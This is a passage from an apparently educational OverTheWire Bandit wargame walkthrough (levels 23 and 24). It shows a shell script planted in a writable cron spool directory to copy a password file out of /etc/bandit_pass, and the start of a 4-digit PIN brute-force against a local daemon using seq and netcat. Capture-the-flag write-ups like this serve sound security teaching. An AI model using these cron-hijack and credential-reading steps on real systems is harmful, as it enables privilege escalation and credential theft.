&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Executing and deleting all scripts in &#x2F;var&#x2F;spool&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&#x2F;foo:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; -a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #9E9B93);&quot;&gt; ]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Handling &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;        owner&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;stat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;-format&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;%U&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; .&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;owner&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;bandit23&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #9E9B93);&quot;&gt; ]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;            timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 60&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; .&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;        rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; .&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;According to the &lt;code&gt;echo&lt;&#x2F;code&gt; message, this script should be executing and deleting all the scripts in &lt;code&gt;&#x2F;var&#x2F;spool&#x2F;bandit24&#x2F;foo&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So, presumably, if that &lt;code&gt;foo&lt;&#x2F;code&gt; directory is writable by &lt;code&gt;bandit23&lt;&#x2F;code&gt; then we could write a script. Copy it into that directory, and then simply wait for the cronjob to activate and run our script. Let’s check.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -l &#x2F;var&#x2F;spool&#x2F;bandit24&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;total 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxrwx-wx 62 root bandit24 4096 Jun 17 13:51 foo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note the atypical &lt;code&gt;w&lt;&#x2F;code&gt; in the “other” portion of the directory permissions. That means we’ll be able to copy in any scripts we’d like.&lt;&#x2F;p&gt;
&lt;p&gt;There are plenty of different ways you could solve this, but the simplest is to send the contents of the bandit24 password file to a new file which we can read. Here’s an example solution.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;tmp&#x2F;cblanken_L24&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;bandit_pass&#x2F;bandit24&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;tmp&#x2F;cblanken_L24&#x2F;pass.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Don’t forget to swap in your own temporary directory name and make your script file executable with &lt;code&gt;chmod&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ chmod +x solve.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then copy your script into &lt;code&gt;&#x2F;var&#x2F;spool&#x2F;bandit24&#x2F;foo&lt;&#x2F;code&gt; and wait for it to be executed.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cp solve.sh &#x2F;var&#x2F;spool&#x2F;bandit24&#x2F;foo&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The cronjob is triggered every minute, so you shouldn’t have to wait long.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;tmp&#x2F;cblanken_L24&#x2F;pass.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 24 PASSWSORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-24&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-24&quot; aria-label=&quot;Anchor link for: level-24&quot;&gt;Level 24&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;There are a lot of possible ways to solve this, but I recommend splitting it into two parts.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;First we need to generate these 4 digit PINs&lt;&#x2F;li&gt;
&lt;li&gt;Then we’ll send them to port 30002.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;generating-pins&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#generating-pins&quot; aria-label=&quot;Anchor link for: generating-pins&quot;&gt;Generating PINs&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;One convenient way to do this is with the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;seq.1.html&quot;&gt;seq&lt;&#x2F;a&gt; command which can generate sequences of numbers.&lt;&#x2F;p&gt;
&lt;p&gt;For example&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ seq 0 10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You might notice though that all these single digits aren’t exactly valid PINs. They should have leading zeroes up to 4 digits.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, &lt;code&gt;seq&lt;&#x2F;code&gt; has a flag that will pad our numbers with leading zeroes just how we need using the &lt;code&gt;-w&lt;&#x2F;code&gt; flag. Here’s an excerpt from the manual.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-w, --equal-width&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   equalize width by padding with leading zeroes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we have our leading zeroes, and we just need to update the maximum argument from 10 to 9999 to get every possible 4-digit pin.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ seq -w 0 9999&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0001&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0002&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0003&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0004&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9995&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9996&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9997&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9998&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9999&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next let’s see what we need to be sending to port 30002. If you start a connection to the port with netcat, the service will reply with a simple explanation.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ nc localhost 30002&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It says here that the &lt;code&gt;bandit24&lt;&#x2F;code&gt; password and our PIN should be sent in a single line with a space separating the two. To write this all out, it would be a bit unwieldy to do it all directly from the shell, so let’s write ourselves a Bash script.&lt;&#x2F;p&gt;
&lt;p&gt;We’ve already gone over some of the &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#shell-scripting&quot;&gt;basics&lt;&#x2F;a&gt;, but here we’ll need to introduce some new syntax. The &lt;code&gt;for&lt;&#x2F;code&gt; loop.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Generate PINs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 9999&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, 